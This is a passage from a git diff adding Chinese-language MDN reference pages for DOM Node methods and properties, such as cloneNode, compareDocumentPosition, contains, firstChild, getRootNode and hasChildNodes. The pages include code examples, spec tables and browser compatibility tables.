
+

规范

+ +

相关链接

+ diff --git a/files/zh-cn/web/api/node/clonenode/index.html b/files/zh-cn/web/api/node/clonenode/index.html new file mode 100644 index 0000000000..0b87e0f1c2 --- /dev/null +++ b/files/zh-cn/web/api/node/clonenode/index.html @@ -0,0 +1,165 @@ +--- +title: Node.cloneNode +slug: Web/API/Node/cloneNode +tags: + - API + - DOM + - Method + - 参考 +translation_of: Web/API/Node/cloneNode +--- +
{{ApiRef("DOM")}}
+ +

Node.cloneNode() 方法返回调用该方法的节点的一个副本.

+ +

语法

+ +
var dupNode = node.cloneNode(deep);
+
+ +
+
node
+
将要被克隆的节点
+
dupNode
+
克隆生成的副本节点
+
deep {{optional_inline}}
+
是否采用深度克隆,如果为true,则该节点的所有后代节点也都会被克隆,如果为false,则只克隆该节点本身.
+
+ +
+

注意: 在 DOM4 规范中(实现于Gecko 13.0{{geckoRelease("13.0")}}),deep是一个可选参数。如果省略的话,参数的默认值为 true,也就是说默认是深度克隆。如果想使用浅克隆, 你需要将该参数设置为 false。

+ +

在最新的规范里,该方法的行为已经改变了,其默认值变成了 false。虽然该参数仍旧是可选的,但是你必须要为该方法设置 deep 参数,无论是为了向前还是向后兼容考虑。假如开发者没设置参数的话,Gecko 28.0 {{geckoRelease(28)}}) 版本的控制台会发出警告。从 Gecko 29.0 {{geckoRelease(29)}}) 开始该方法默认为浅复制而不是深度复制。

+
+ +

示例

+ +
var p = document.getElementById("para1"),
+var p_prime = p.cloneNode(true);
+
+ +

附注

+ +

克隆一个元素节点会拷贝它所有的属性以及属性值,当然也就包括了属性上绑定的事件(比如onclick="alert(1)"),但不会拷贝那些使用addEventListener()方法或者node.onclick = fn这种用JavaScript动态绑定的事件.

+ +

在使用{{domxref("Node.appendChild()")}}或其他类似的方法将拷贝的节点添加到文档中之前,那个拷贝节点并不属于当前文档树的一部分,也就是说,它没有父节点.

+ +

如果deep参数设为false,则不克隆它的任何子节点.该节点所包含的所有文本也不会被克隆,因为文本本身也是一个或多个的{{domxref("Text")}}节点.

+ +

如果deep参数设为true,则会复制整棵DOM子树(包括那些可能存在的{{domxref("Text")}}子节点).对于空结点(例如{{HTMLElement("img")}}和{{HTMLElement("input")}}元素),则deep参数无论设为true还是设为false,都没有关系,但是仍然需要为它指定一个值.

+ +
注意:为了防止一个文档中出现两个ID重复的元素,使用cloneNode()方法克隆的节点在需要时应该指定另外一个与原ID值不同的ID
+ +

如果原始节点设置了ID,并且克隆节点会被插入到相同的文档中,那么应该更新克隆节点的ID以保证唯一性。name属性可能也需要进行修改,取决于你是否希望有相同名称的节点存在于文档中。

+ +

想要克隆一个节点来添加到另外一个文档中,请使用{{domxref("Document.importNode()")}}代替本方法.

+ +

Specifications

+ + + + + + + + + + + + + + + + + + + + + + + + + + +
SpecificationStatusComment
{{SpecName("DOM WHATWG", "#dom-node-clonenode", "Node.cloneNode()")}}{{Spec2("DOM WHATWG")}} 
{{SpecName("DOM3 Core", "core.html#ID-3A0ED0A4", "Node.cloneNode()")}}{{Spec2("DOM3 Core")}} 
{{SpecName("DOM2 Core", "core.html#ID-3A0ED0A4", "Node.cloneNode()")}}{{Spec2("DOM2 Core")}}Initial definition
+ +

浏览器兼容性

+ +
{{CompatibilityTable}}
+ +
+ + + + + + + + + + + + + + + + + + + + + + + + + + + + + + +
FeatureChromeEdgeFirefox (Gecko)Internet ExplorerOperaSafari
Basic support{{CompatVersionUnknown}}{{CompatVersionUnknown}}{{CompatVersionUnknown}}{{CompatVersionUnknown}}{{CompatVersionUnknown}}{{CompatVersionUnknown}}
deep as an optional parameter +

{{CompatVersionUnknown}}[1]

+
{{CompatVersionUnknown}}{{CompatGeckoDesktop("13.0")}}{{CompatVersionUnknown}}{{CompatUnknown}} +

{{CompatVersionUnknown}}[1]

+
+
+ +
+ + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + +
FeatureAndroidChrome for AndroidEdgeFirefox Mobile (Gecko)IE MobileOpera MobileSafari Mobile
Basic support{{CompatVersionUnknown}}{{CompatVersionUnknown}}{{CompatVersionUnknown}}{{CompatVersionUnknown}}{{CompatVersionUnknown}}{{CompatVersionUnknown}}{{CompatVersionUnknown}}
deep as an optional parameter{{CompatUnknown}}{{CompatUnknown}}{{CompatUnknown}}{{CompatGeckoMobile("13.0")}}{{CompatUnknown}}{{CompatUnknown}}{{CompatUnknown}}
+
+ +

[1] Default value for the deep parameter is false.

diff --git a/files/zh-cn/web/api/node/comparedocumentposition/index.html b/files/zh-cn/web/api/node/comparedocumentposition/index.html new file mode 100644 index 0000000000..e1b0adf99b --- /dev/null +++ b/files/zh-cn/web/api/node/comparedocumentposition/index.html @@ -0,0 +1,127 @@ +--- +title: Node.compareDocumentPosition +slug: Web/API/Node/compareDocumentPosition +tags: + - API + - DOM + - Method + - Node + - Position + - Reference + - 比较文档位置 +translation_of: Web/API/Node/compareDocumentPosition +--- +
{{ ApiRef("DOM") }}
+ +

Node.compareDocumentPosition() 可以比较当前节点与任意文档中的另一个节点的位置关系。

+ +

返回值是一个具有以下值的位掩码:

+ + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + +
常量名十进制值含义
DOCUMENT_POSITION_DISCONNECTED1不在同一文档中
DOCUMENT_POSITION_PRECEDING2otherNode在node之前
DOCUMENT_POSITION_FOLLOWING4otherNode在node之后
DOCUMENT_POSITION_CONTAINS8otherNode包含node
DOCUMENT_POSITION_CONTAINED_BY16otherNode被node包含
DOCUMENT_POSITION_IMPLEMENTATION_SPECIFIC32待定
+ +

语法

+ +
compareMask = node.compareDocumentPosition( otherNode )
+
+ +

参数

+ +
+
otherNode
+
用于比较位置的 Node 。
+
+ +

返回值

+ +

一个表示 NodeotherNode 在 {{domxref("Document")}} 中关系的整数值。在一些场景下,可能设置了不止一位比特值。比如 otherNode 在文档中是靠前的且包含了 Node, 那么DOCUMENT_POSITION_CONTAINSDOCUMENT_POSITION_PRECEDING 位都会设置,所以结果会是 0x0A 即十进制下的 10。

+ +

例子

+ +
var head = document.getElementsByTagName('head').item(0);
+if (head.compareDocumentPosition(document.body) & Node.DOCUMENT_POSITION_FOLLOWING) {
+  console.log("well-formed document");
+} else {
+  console.log("<head> is not before <body>");
+}
+
+ +
+

注: 因为compareDocumentPosition返回的是一个位掩码,所以必须再使用按位与运算符才能得到有意义的值.

+
+ +

注意第一条语句使用了带有参数 0 的 {{domxref("NodeList.item()")}} 方法,它和 getElementsByTagName('head')[0] 是一样的。

+ +

规范

+ + + + + + + + + + + + + + + + + + + +
规范状态注释
{{SpecName('DOM WHATWG','#dom-node-comparedocumentposition','Node.compareDocumentPosition()')}}{{Spec2('DOM WHATWG')}} 
{{SpecName('DOM3 Core','core.html#Node3-compareDocumentPosition','Node.compareDocumentPosition()')}}{{Spec2('DOM3 Core')}}Initial definition
+ +

浏览器兼容性

+ + + +

{{Compat("api.Node.compareDocumentPosition")}}

+ +

相关链接

+ + diff --git a/files/zh-cn/web/api/node/contains/index.html b/files/zh-cn/web/api/node/contains/index.html new file mode 100644 index 0000000000..4f54315c26 --- /dev/null +++ b/files/zh-cn/web/api/node/contains/index.html @@ -0,0 +1,96 @@ +--- +title: Node.contains +slug: Web/API/Node/contains +translation_of: Web/API/Node/contains +--- +
{{ApiRef}}
+ +

概述

+ +

Node.contains()返回的是一个布尔值,来表示传入的节点是否为该节点的后代节点。

+ +

语法

+ +
node.contains( otherNode )
+
+ + + +

如果 otherNodenode 的后代节点或是 node 节点本身.则返回true , 否则返回 false.

+ +

例子

+ +

下面的函数用来检查一个元素是否是body元素的后代元素且非body元素本身.

+ +
function isInPage(node) {
+  return (node === document.body) ? false : document.body.contains(node);
+}
+ + + +

浏览器兼容性

+ +

{{CompatibilityTable}}

+ +
+ + + + + + + + + + + + + + + + + + + +
FeatureChromeFirefox (Gecko)Internet ExplorerOperaSafari
Basic support{{CompatVersionUnknown}}{{CompatGeckoDesktop("9.0")}}5.0{{CompatVersionUnknown}}{{CompatVersionUnknown}}
+
+ +
+ + + + + + + + + + + + + + + + + + + +
FeatureAndroidFirefox Mobile (Gecko)IE MobileOpera MobileSafari Mobile
Basic support{{CompatUnknown}}{{CompatGeckoMobile("9.0")}}{{CompatUnknown}}{{CompatUnknown}}{{CompatUnknown}}
+
+ +

规范

+ + + +

相关链接

+ + diff --git a/files/zh-cn/web/api/node/firstchild/index.html b/files/zh-cn/web/api/node/firstchild/index.html new file mode 100644 index 0000000000..3b79b77c6f --- /dev/null +++ b/files/zh-cn/web/api/node/firstchild/index.html @@ -0,0 +1,78 @@ +--- +title: Node.firstChild +slug: Web/API/Node/firstChild +tags: + - API + - DOM + - Gecko + - Node + - Node.firstChild + - Property +translation_of: Web/API/Node/firstChild +--- +
{{ ApiRef("DOM") }}
+ +

Node.firstChild 只读属性返回树中节点的第一个子节点,如果节点是无子节点,则返回 null。

+ +

语法

+ +
var childNode = node.firstChild;
+
+ +

描述

+ +

如果有一个子节点, childNode 是节点的第一个子节点的引用,否则为null。

+ +

例子

+ +

Example 1

+ +

这个例子演示了firstChild属性的用法以及空白符节点对该属性的使用可能造成的影响.参见{{ Anch("备注") }}部分了解Gecko DOM中关于处理空白符的更多信息.

+ +
<p id="para-01">
+  <span>First span</span>
+</p>
+
+<script type="text/javascript">
+  var p01 = document.getElementById('para-01');
+  alert(p01.firstChild.nodeName)
+</script>
+
+ +

在上面的示例中, 提示框将显示 '#text',因为在<p>标签和<span>标签之前,有一个换行符和多个空格充当了一个文本节点.在Gecko中,任意多个的空白符都将导致文本节点的插入,包括一个到多个空格符,换行符,制表符等等.

+ +

</span>和</p>标签之间就是另外一个文本节点.

+ +

如果从源代码移出对应的空白符,则不会有文本节点被插入,span元素就成为了第一个子节点.下面的代码将弹出 'SPAN'.

+ +
<p id="para-01"><span>First span</span></p>
+
+<script type="text/javascript">
+  var p01 = document.getElementById('para-01');
+  alert(p01.firstChild.nodeName)
+</script>
+
+ +

Example 2

+ +

假设我们有一个HTML文档,如果该文档有一个DTD(文档类型定义),则下面的语句会弹出[object DocumentType],如果该文档没有一个DTD,则下面的语句会弹出[object HTMLHtmlElement].

+ +
alert(document.firstChild);
+
+ +

备注

+ +

Gecko内核的浏览器会在源代码中标签内部有空白符的地方插入一个文本结点到文档中.因此,使用诸如 + Node.firstChildNode.previousSibling 之类的方法可能会引用到一个空白符文本节点, + 而不是使用者所预期得到的节点.

+ +

详情请参见 DOM 中的空白符 + 和W3C DOM 3 FAQ: 为什么一些文本节点是空的.

+ +

规范

+ +

DOM Level 1 Core: firstChild

+ +

DOM Level 2 Core: firstChild

+ +

{{ languages( { "fr": "fr/DOM/element.firstChild", "ja": "ja/DOM/element.firstChild", "pl": "pl/DOM/element.firstChild", "en": "en/DOM/Node.firstChild" } ) }}

diff --git a/files/zh-cn/web/api/node/getrootnode/index.html b/files/zh-cn/web/api/node/getrootnode/index.html new file mode 100644 index 0000000000..97b25f6f8f --- /dev/null +++ b/files/zh-cn/web/api/node/getrootnode/index.html @@ -0,0 +1,96 @@ +--- +title: Node.getRootNode() +slug: Web/API/Node/getRootNode +tags: + - API + - DOM + - Node + - 参考 + - 方法 +translation_of: Web/API/Node/getRootNode +--- +

{{APIRef("DOM")}}

+ +

{{domxref("Node")}} 接口的 getRootNode() 方法返回上下文中的根节点,如果 shadow DOM 可用,则对 shadow DOM 同样适用。

+ +

语法

+ +
var root = node.getRootNode(options);
+ +

参数

+ +
+
options {{optional_inline}}
+
获取根节点时的可选参数对象. 下列值可供选择: +
    +
  • composed:  {{jsxref('Boolean')}} 如果检索到 shadow Root 需要返回,则设置为(false,默认值),如果跳过shadow Root 检索普通Root则设置为(true)。
  • +
+
+
+ +

返回值

+ +

返回一个继承自 {{domxref('Node')}} 的对象。返回值会因为 getRootNode() 调用的地方不同而不同; 比如说:

+ + + +

示例

+ +

第一个例子很简单,返回一个参照 HTML/document node 位置的一个节点。

+ +
rootNode = node.rootNode;
+ +

我们来看一个稍微复杂的例子。这个例子展示了该属性在普通的 DOM 的 shadow DOM 的差别。 (See the full source code):

+ +
<!-- source: https://github.com/jserz/js_piece/blob/master/DOM/Node/getRootNode()/demo/getRootNode.html -->
+<div class="js-parent">
+    <div class="js-child"></div>
+</div>
+<div class="js-shadowHost"></div>
+<script>
+    // work on Chrome 54+,Opera41+
+
+    var parent = document.querySelector('.js-parent'),
+        child = document.querySelector('.js-child'),
+        shadowHost = document.querySelector('.js-shadowHost');
+
+    console.log(parent.getRootNode().nodeName); // #document
+    console.log(child.getRootNode().nodeName); // #document
+
+    // create a ShadowRoot
+    var shadowRoot = shadowHost.attachShadow({mode:'open'});
+    shadowRoot.innerHTML = '<style>div{background:#2bb8aa;}</style>'
+        + '<div class="js-shadowChild">content</div>';
+    var shadowChild = shadowRoot.querySelector('.js-shadowChild');
+
+    // The default value of composed is false
+    console.log(shadowChild.getRootNode() === shadowRoot); // true
+    console.log(shadowChild.getRootNode({composed:false}) === shadowRoot); // true
+    console.log(shadowChild.getRootNode({composed:true}).nodeName); // #document
+</script>
+ +

规格

+ + + + + + + + + + + + + + +
规范状态备注
{{SpecName('DOM WHATWG','#dom-node-getrootnode','getRootNode()')}}{{Spec2('DOM WHATWG')}}Initial definition.
+ +

浏览器兼容性

+ + + +

{{Compat("api.Node.getRootNode")}}

diff --git a/files/zh-cn/web/api/node/getuserdata/index.html b/files/zh-cn/web/api/node/getuserdata/index.html new file mode 100644 index 0000000000..cc81f8c288 --- /dev/null +++ b/files/zh-cn/web/api/node/getuserdata/index.html @@ -0,0 +1,96 @@ +--- +title: Node.getUserData() +slug: Web/API/Node/getUserData +translation_of: Web/API/Node/getUserData +--- +

{{ APIRef }}{{ obsolete_header() }}

+

The Node.getUserData() method returns any user {{domxref("DOMUserData")}} set previously on the given node by {{domxref("Node.setUserData()")}}.

+
+

The Node.setUserData and {{domxref("Node.getUserData")}} methods are no longer available from Web content. {{domxref("Element.dataset")}} or WeakMap can be used instead.

+
+

Syntax

+
userData = someNode.getUserData(userKey);
+

Parameters

+ +

Example

+
var d = document.setUserData('key', 15, null);
+alert(document.getUserData('key')); // 15
+

Specifications

+ + + + + + + + + + + + + + + + + + + + +
SpecificationStatusComment
{{SpecName('DOM WHATWG', '#interface-node', 'Node')}}{{Spec2('DOM WHATWG')}}Removed from the specification.
{{SpecName('DOM3 Core', 'core.html#Node3-getUserData', 'Node.getUserData()')}}{{Spec2('DOM3 Core')}}Initial definition.
+

Browser compatibility

+

{{CompatibilityTable}}

+
+ + + + + + + + + + + + + + + + + + + +
FeatureChromeFirefox (Gecko)Internet ExplorerOperaSafari
Basic support{{CompatNo}}Supported from {{CompatGeckoDesktop("1.0")}} to {{CompatGeckoDesktop("21.0")}}.
+ Removed in {{CompatGeckoDesktop("22.0")}} [1]
{{CompatUnknown}}{{CompatNo}}{{CompatNo}}
+
+
+ + + + + + + + + + + + + + + + + + + +
FeatureAndroidFirefox Mobile (Gecko)IE MobileOpera MobileSafari Mobile
Basic support{{CompatNo}}Supported from {{CompatGeckoMobile("1.0")}} to {{CompatGeckoMobile("21.0")}}.
+ Removed in {{CompatGeckoMobile("22.0")}} [1]
{{CompatVersionUnknown}}{{CompatNo}}{{CompatNo}}
+
+

[1] The method is still available from chrome scripts.

+

See also

+ diff --git a/files/zh-cn/web/api/node/haschildnodes/index.html b/files/zh-cn/web/api/node/haschildnodes/index.html new file mode 100644 index 0000000000..e833c72e84 --- /dev/null +++ b/files/zh-cn/web/api/node/haschildnodes/index.html @@ -0,0 +1,52 @@ +--- +title: Node.hasChildNodes +slug: Web/API/Node/hasChildNodes +translation_of: Web/API/Node/hasChildNodes +--- +
{{ApiRef}}
+ +

概述

+ +

hasChildNodes方法返回一个布尔值,表明当前节点是否包含有子节点.

+ +

语法

+ +
element.hasChildNodes()
+ +

例子

+ +

下面的例子演示了:如果id为foo的这个元素有子节点,则从dom树中删除它的第一个子节点.

+ +
var foo = document.getElementById("foo");
+
+if ( foo.hasChildNodes() ) {
+  foo.removeChild( foo.childNodes[0] );
+}
+ +
+

注意:Node.hasChildNodes是个方法,而不是普通属性,使用时必须加括号才能调用.

+
+ +

总结

+ +

有三种方法可以判断当前节点是否有子节点。

+ + + +

规范

+ + + +

相关链接

+ + diff --git a/files/zh-cn/web/api/node/index.html b/files/zh-cn/web/api/node/index.html new file mode 100644 index 0000000000..d03310cb93 --- /dev/null +++ b/files/zh-cn/web/api/node/index.html @@ -0,0 +1,371 @@ +--- +title: Node +slug: Web/API/Node +tags: + - API + - DOM + - Interface + - Node + - Reference + - 参考 +translation_of: Web/API/Node +--- +

{{APIRef("DOM")}}

+ +

Node 是一个接口,各种类型的 DOM API 对象会从这个接口继承。它允许我们使用相似的方式对待这些不同类型的对象;比如, 继承同一组方法,或者用同样的方式测试。

+ +

以下接口都从 Node 继承其方法和属性:

+ +
{{DOMxRef("Document")}}, {{DOMxRef("Element")}}, {{DOMxRef("Attr")}}, {{DOMxRef("CharacterData")}} (which {{DOMxRef("Text")}}, {{DOMxRef("Comment")}}, and {{DOMxRef("CDATASection")}} inherit), {{DOMxRef("ProcessingInstruction")}}, {{DOMxRef("DocumentFragment")}}, {{DOMxRef("DocumentType")}}, {{DOMxRef("Notation")}}, {{DOMxRef("Entity")}}, {{DOMxRef("EntityReference")}}
+ +

在方法和属性不相关的特定情况下,这些接口可能返回 null。它们可能会抛出异常 - 例如,当将子节点添加到不允许子节点存在的节点时。

+ +

{{InheritanceDiagram}}

+ +

属性

+ +

从其父类型 {{DOMxRef("EventTarget")}}[1] 继承属性。

+ +
+
{{DOMxRef("Node.baseURI")}}{{ReadOnlyInline}}
+
返回一个表示base URL的{{DOMxRef("DOMString")}}。不同语言中的base URL的概念都不一样。 在HTML中,base URL表示协议和域名,以及一直到最后一个'/'之前的文件目录。
+
+ +
+
{{DOMxRef("Node.baseURIObject")}} {{Non-standard_inline}}{{Fx_MinVersion_Inline("3")}}
+
(不适用于网页内容) 只读的 {{ Interface("nsIURI") }} 对象表示元素的base URI.
+
{{DOMxRef("Node.childNodes")}}{{ReadOnlyInline}}
+
返回一个包含了该节点所有子节点的实时的{{DOMxRef("NodeList")}}。{{DOMxRef("NodeList")}} 是动态变化的。如果该节点的子节点发生了变化,{{DOMxRef("NodeList")}}对象就会自动更新。 
+
{{DOMxRef("Node.firstChild")}} {{ReadonlyInline}}
+
返回该节点的第一个子节点{{DOMxRef("Node")}},如果该节点没有子节点则返回null
+
{{DOMxRef("Node.isConnected")}}{{ReadOnlyInline}}
+
返回一个布尔值用来检测该节点是否已连接(直接或者间接)到一个上下文对象上,比如通常DOM情况下的{{DOMxRef("Document")}}对象,或者在shadow DOM情况下的{{DOMxRef("ShadowRoot")}}对象。
+
{{DOMxRef("Node.lastChild")}} {{ReadonlyInline}}
+
返回该节点的最后一个子节点{{DOMxRef("Node")}},如果该节点没有子节点则返回null
+
{{DOMxRef("Node.nextSibling")}} {{ReadonlyInline}}
+
返回与该节点同级的下一个节点 {{DOMxRef("Node")}},如果没有返回null
+
{{DOMxRef("Node.nodeName")}} {{ReadonlyInline}}
+
返回一个包含该节点名字的{{DOMxRef("DOMString")}}。节点的名字的结构和节点类型不同。比如{{DOMxRef("HTMLElement")}}的名字跟它所关联的标签对应,就比如{{DOMxRef("HTMLAudioElement")}}的就是 'audio' ,{{DOMxRef("Text")}}节点对应的是 '#text' 还有{{DOMxRef("Document")}}节点对应的是 '#document'
+
{{DOMxRef("Node.nodeType")}}{{ReadonlyInline}}
+
返回一个与该节点类型对应的无符号短整型的值,可能的值如下: + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + +
NameValue
ELEMENT_NODE1
ATTRIBUTE_NODE {{Deprecated_Inline}}2
TEXT_NODE3
CDATA_SECTION_NODE4
ENTITY_REFERENCE_NODE {{Deprecated_Inline}}5
ENTITY_NODE {{Deprecated_Inline}}6
PROCESSING_INSTRUCTION_NODE7
COMMENT_NODE8
DOCUMENT_NODE9
DOCUMENT_TYPE_NODE10
DOCUMENT_FRAGMENT_NODE11
NOTATION_NODE {{Deprecated_Inline}}12
+
+
{{DOMxRef("Node.nodeValue")}}
+
返回或设置当前节点的值。
+
{{DOMxRef("Node.ownerDocument")}} {{readonlyInline}}
+
返回这个元素属于的 {{DOMxRef("Document")}}对象 。 如果没有Document对象与之关联,返回null。
+
{{DOMxRef("Node.parentNode")}} {{readonlyInline}}
+
返回一个当前节点 {{DOMxRef("Node")}}的父节点 。如果没有这样的节点,比如说像这个节点是树结构的顶端或者没有插入一棵树中, 这个属性返回null。
+
{{DOMxRef("Node.parentElement")}} {{readonlyInline}}
+
返回一个当前节点的父节点 {{DOMxRef("Element")}} 。 如果当前节点没有父节点或者说父节点不是一个元素({{DOMxRef("Element")}}), 这个属性返回null。
+
{{DOMxRef("Node.previousSibling")}} {{readonlyInline}}
+
返回一个当前节点同辈的前一个节点( {{DOMxRef("Node")}}) ,或者返回null(如果不存在这样的一个节点的话)。
+
{{DOMxRef("Node.textContent")}}
+
返回或设置一个元素内所有子节点及其后代的文本内容。
+
+ +

废弃的属性

+ +
+
{{DOMxRef("Node.localName")}} {{obsolete_inline}}{{readonlyInline}}
+
返回一个表示元素名称的本土化表示方法的 {{DOMxRef("DOMString")}} 。 +
+

Note: 在Firefox 3.5以及更早的版本中, HTML 元素的 localName 属性的返回值都是大写的(XHTML 例外)。在后续版本中,这种情况就不存在了。无论是 HTML 还是 XHTML 中,均返回小写的 localName。

+
+
+
{{DOMxRef("Node.namespaceURI")}} {{obsolete_inline}}{{readonlyInline}}
+
该节点命名空间的URL,如果没有命名空间则为null。 +
+

Note: 在Firefox 3.5以及更早的版本中, HTML 的元素都没有命名空间. 而在最新的版本中, 无论是 HTML 还是 XML 文档树 ,所有元素的命名空间统一为 http://www.w3.org/1999/xhtml/

+
+
+
{{DOMxRef("Node.nodePrincipal")}} {{Non-standard_inline}}{{Obsolete_Inline("gecko46")}}{{Fx_MinVersion_Inline("3")}}
+
返回节点优先级 {{Interface("nsIPrincipal")}} 。
+
{{DOMxRef("Node.prefix")}} {{Obsolete_Inline}}{{ReadOnlyInline}}
+
返回一个节点命名空间的前缀 {{DOMxRef("DOMString")}} , 当前缀不存在时返回 null
+
{{DOMxRef("Node.rootNode")}} {{Obsolete_Inline}}{{ReadOnlyInline}}
+
返回一个DOM 树中顶层节点的  {{DOMxRef("Node")}} 对象,如果顶层节点不DOM 树中,则返回当前节点。该属性已被 {{DOMxRef("Node.getRootNode()")}} 方法所代替。
+
+ +

方法

+ +

从其父类型 {{DOMxRef("EventTarget")}}[1] 继承方法。

+ +
+
{{DOMxRef("Node.appendChild()")}}
+
将指定的 childNode 参数作为最后一个子节点添加到当前节点。
+ 如果参数引用了 DOM 树上的现有节点,则节点将从当前位置分离,并附加到新位置。
+
{{DOMxRef("Node.cloneNode()")}}
+
克隆一个 {{DOMxRef("Node")}},并且可以选择是否克隆这个节点下的所有内容。默认情况下,节点下的内容会被克隆。
+
{{DOMxRef("Node.compareDocumentPosition()")}}
+
比较当前节点与文档中的另一节点的位置。
+
{{DOMxRef("Node.contains()")}}
+
返回一个 {{jsxref("Boolean")}} 布尔值,来表示传入的节点是否为该节点的后代节点。
+
{{DOMxRef("Node.getRootNode()")}}
+
返回上下文对象的根节点。如果shadow root节点存在的话,也可以在返回的节点中包含它。
+
{{DOMxRef("Node.hasChildNodes()")}}
+
返回一个{{jsxref("Boolean")}} 布尔值,来表示该元素是否包含有子节点。
+
{{DOMxRef("Node.insertBefore()")}}
+
在当前节点下增加一个子节点 {{DOMxRef("Node")}},并使该子节点位于参考节点的前面。
+
{{DOMxRef("Node.isDefaultNamespace()")}}
+
返回一个 {{jsxref("Boolean")}} 类型值。接受一个命名空间 URI 作为参数,当参数所指代的命名空间是默认命名空间时返回 true,否则返回 false。
+
{{DOMxRef("Node.isEqualNode()")}}
+
返回一个 {{jsxref("Boolean")}} 类型值。当两个 node 节点为相同类型的节点且定义的数据点匹配时(即属性和属性值相同,节点值相同)返回 true,否则返回 false。
+
{{DOMxRef("Node.isSameNode()")}}
+
返回一个 {{jsxref("Boolean")}} 类型值。返回这两个节点的引用比较结果。
+
{{DOMxRef("Node.lookupPrefix()")}}
+
返回包含参数 URI 所对应的命名空间前缀的 {{DOMxRef("DOMString")}},若不存在则返回 null。如果存在多个可匹配的前缀,则返回结果和浏览器具体实现有关。
+
{{DOMxRef("Node.lookupNamespaceURI()")}}
+
接受一个前缀,并返回前缀所对应节点命名空间 URI 。如果 URI 不存在则返回 null。传入 null 作为 prefix 参数将返回默认命名空间。
+
{{DOMxRef("Node.normalize()")}}
+
对该元素下的所有文本子节点进行整理,合并相邻的文本节点并清除空文本节点。
+
{{DOMxRef("Node.removeChild()")}}
+
移除当前节点的一个子节点。这个子节点必须存在于当前节点中。
+
{{DOMxRef("Node.replaceChild()")}}
+
对选定的节点,替换一个子节点 {{DOMxRef("Node")}} 为另外一个节点。
+
+ +

废弃的方法

+ +
+
{{DOMxRef("Node.getFeature()")}} {{obsolete_inline}}
+
{{DOMxRef("Node.getUserData()")}} {{obsolete_inline}}
+
允许用户从节点的 {{DOMxRef("DOMUserData")}} 获得数据。
+
{{DOMxRef("Node.hasAttributes()")}} {{obsolete_inline}}
+
返回一个 {{jsxref("Boolean")}} 指定该元素是否存在某一属性。
+
{{DOMxRef("Node.isSupported()")}} {{obsolete_inline}}
+
返回一个 {{jsxref("Boolean")}} 类型值,指定了当前 DOM 实现是否实现了某个规范所规定功能和该功能是否被规范所规定的的节点所支持。
+
{{DOMxRef("Node.setUserData()")}} {{obsolete_inline}}
+
允许用户在一个节点上设置或移除 {{DOMxRef("DOMUserData")}} 。
+
+ +

例子

+ +

移除某个节点的所有子节点

+ +
function removeAllChildren(element){
+  while(element.firstChild){
+    element.removeChild(element.firstChild);
+  }
+}
+ +

使用示例

+ +
/* ... an alternative to document.body.innerHTML = "" ... */
+removeAllChildren(document.body);
+ +

遍历所有子节点

+ +

下面这个函数使用递归的方式遍历一个节点的所有子节点(包括这个根节点自身)。

+ +
function eachNode(rootNode, callback){
+	if(!callback){
+		var nodes = [];
+		eachNode(rootNode, function(node){
+			nodes.push(node);
+		});
+		return nodes;
+	}
+
+	if(false === callback(rootNode))
+		return false;
+
+	if(rootNode.hasChildNodes()){
+		var nodes = rootNode.childNodes;
+		for(var i = 0, l = nodes.length; i < l; ++i)
+			if(false === eachNode(nodes[i], callback))
+				return;
+	}
+}
+ +

语法

+ +
eachNode(rootNode, callback);
+ +

描述

+ +

使用递归的方式对 rootNode 的所有后代节点执行回调函数(包括 rootNode 自身)

+ +

如果没有设定 callback,这函数会返回一个{{jsxref("Array")}},包含 rootNode 和它的所有后代节点。

+ +

如果设定了 callback(回调函数),如果回调函数在调用中返回 {{jsxref("Boolean")}} false,则当前层级的遍历会中止,同时恢复上一层级的遍历。这个可以用来在找到需要的节点之后中断循环(比如用来查找包含指定文本的文本节点)

+ +

参数

+ +
+
rootNode
+
需要进行后代节点遍历的 Node 对象。
+
callback
+
一个可选的回调函数,接受一个节点作为唯一参数。如果没有设定, eachNode 返回一个包含了 rootNode 所有后代节点以及 rootNode 自身的{{jsxref("Array")}}
+
+ +

使用示例

+ +

下述例子会打印出ID为 "box"<div> 标签内的所有 <span> 标签的 textContent 属性:

+ +
<div id="box">
+	<span>Foo</span>
+	<span>Bar</span>
+	<span>Baz</span>
+</div>
+ +
var box = document.getElementById("box");
+eachNode(box, function(node){
+	if(null != node.textContent){
+		console.log(node.textContent);
+	}
+});
+ +

用户终端上会显示如下字符:

+ +
"\n\t", "Foo", "\n\t", "Bar", "\n\t", "Baz"
+ +
+

Note: 空格是构成 {{DOMxRef("Text")}}节点的一部分,意味着缩进和换行在 Element 节点之间形成单独的 Text

+
+ +

真实案例

+ +

下述例子反应了 eachNode 函数是如何在真实场景中使用的:搜索网页中的文本。我们使用一个包装函数 grep 去执行搜索:

+ +
function grep(parentNode, pattern){
+	var matches = [];
+	var endScan = false;
+
+	eachNode(parentNode, function(node){
+		if(endScan)
+			return false;
+
+		// Ignore anything which isn't a text node
+		if(node.nodeType !== Node.TEXT_NODE)
+			return;
+
+		if("string" === typeof pattern){
+			if(-1 !== node.textContent.indexOf(pattern))
+				matches.push(node);
+		}
+		else if(pattern.test(node.textContent)){
+			if(!pattern.global){
+				endScan = true;
+				matches = node;
+			}
+			else matches.push(node);
+		}
+	});
+
+	return matches;
+}
+ +

例如:找到所有包含错别字的 {{DOMxRef("Text")}}:

+ +
var typos = ["teh", "adn", "btu", "adress", "youre", "msitakes"];
+var pattern = new RegExp("\\b(" + typos.join("|") + ")\\b", "gi");
+var mistakes = grep(document.body, pattern);
+console.log(mistakes);
+
+ +

规范

+ + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + +
规范状态备注
{{SpecName("DOM WHATWG", "#interface-node", "Node")}}{{Spec2("DOM WHATWG")}}增加了以下方法: getRootNode()
{{SpecName("DOM4", "#interface-node", "Node")}}{{Spec2("DOM4")}}移除了以下属性: attributes, namespaceURI, prefix, 和 localName.
+ 移除了以下方法: isSupported(), hasAttributes(), getFeature(), setUserData(), and getUserData().
{{SpecName("DOM3 Core", "core.html#ID-1950641247", "Node")}}{{Spec2("DOM3 Core")}}insertBefore(), replaceChild(), removeChild(), 和 appendChild() 方法在{{DOMxRef("Document")}} 上调用时遇到特定错误时会抛出一个新的异常(NOT_SUPPORTED_ERR)。
+ normalize() 方法已被修改,使得当设定特定的 {{DOMxRef("DOMConfiguration")}}  属性时, {{DOMxRef("Text")}} 节点也能被正确整理。
